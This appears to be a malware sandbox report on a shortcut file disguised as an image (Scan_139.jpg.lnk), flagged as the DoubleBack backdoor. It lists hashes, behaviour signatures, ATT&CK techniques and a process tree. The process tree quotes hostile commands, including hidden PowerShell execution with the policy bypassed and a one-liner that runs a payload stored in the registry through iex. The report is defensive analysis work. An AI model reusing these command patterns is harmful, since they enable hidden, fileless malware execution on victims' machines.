Overview

overview

10

Static

static

Document-1310.iso

windows7_x64

3

Document-1310.iso

windows10-2004_x64

3

1662.ps1

windows7_x64

1

1662.ps1

windows10-2004_x64

10

Scan_139.jpg

windows7_x64

3

Scan_139.jpg

windows10-2004_x64

3

Scan_139.jpg.lnk

windows7_x64

3

Scan_139.jpg.lnk

windows10-2004_x64

10

x.txt

windows7_x64

1

x.txt

windows10-2004_x64

1

Resubmissions

05-06-2022 15:10

220605-sj6zqabfd5 8

02-06-2022 19:49

220602-yjvvcabad9 10

Analysis

  • max time kernel
    86s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    02-06-2022 19:49

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Scan_139.jpg.lnk

  • Size

    1KB

  • MD5

    ae4d8e1b3f31028acb611bdefbfa51b2

  • SHA1

    6327c8798e529dd479e7bdd99c314867a7cccd3b

  • SHA256

    f73826aa0bdf74bc777023b1e2c05fbb79194f81be1c2977af1fcbe6298740ff

  • SHA512

    4bc8d72294ee65c89e0a0815321e1d67ae9f3ed43d7dd7aabc3fc05d02c766ff68664873265e3ef01e1fee12807d9b52c218d23d03b0fd91520ab853ea883557

Score
10/10
doublebackbackdoor

Malware Config

Signatures

  • DoubleBack

    DoubleBack is a modular backdoor first seen in December 2020.

    backdoordoubleback
  • DoubleBack x64 Payload 4 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 25 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Scan_139.jpg.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4104
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -w h -file 1662.ps1
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4888
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe
        3⤵
        • Blocklisted process makes network request
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4312
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -c "&{$v1='6388';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:204

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/204-143-0x00007FFA87520000-0x00007FFA87FE1000-memory.dmp
    Filesize

    10.8MB

    Download
  • memory/204-142-0x00007FFA87520000-0x00007FFA87FE1000-memory.dmp
    Filesize

    10.8MB

    Download
  • memory/204-141-0x0000000000000000-mapping.dmp
    Download
  • memory/4312-140-0x0000008800000000-0x000000880000E000-memory.dmp
    Filesize

    56KB

    Download
  • memory/4312-144-0x0000008800000000-0x000000880000E000-memory.dmp
    Filesize

    56KB

    Download
  • memory/4888-136-0x00007FFA87520000-0x00007FFA87FE1000-memory.dmp
    Filesize

    10.8MB

    Download
  • memory/4888-130-0x0000000000000000-mapping.dmp
    Download
  • memory/4888-138-0x000001D93A930000-0x000001D93A93A000-memory.dmp
    Filesize

    40KB

    Download
  • memory/4888-137-0x000001D93AAD9000-0x000001D93AADF000-memory.dmp
    Filesize

    24KB

    Download
  • memory/4888-139-0x0000008800000000-0x000000880000E000-memory.dmp
    Filesize

    56KB

    Download
  • memory/4888-135-0x000001D93AAD9000-0x000001D93AADF000-memory.dmp
    Filesize

    24KB

    Download
  • memory/4888-134-0x00007FFA87520000-0x00007FFA87FE1000-memory.dmp
    Filesize

    10.8MB

    Download
  • memory/4888-133-0x000001D93AAD9000-0x000001D93AADF000-memory.dmp
    Filesize

    24KB

    Download
  • memory/4888-132-0x00007FFA87520000-0x00007FFA87FE1000-memory.dmp
    Filesize

    10.8MB

    Download
  • memory/4888-131-0x000001D93A940000-0x000001D93A962000-memory.dmp
    Filesize

    136KB

    Download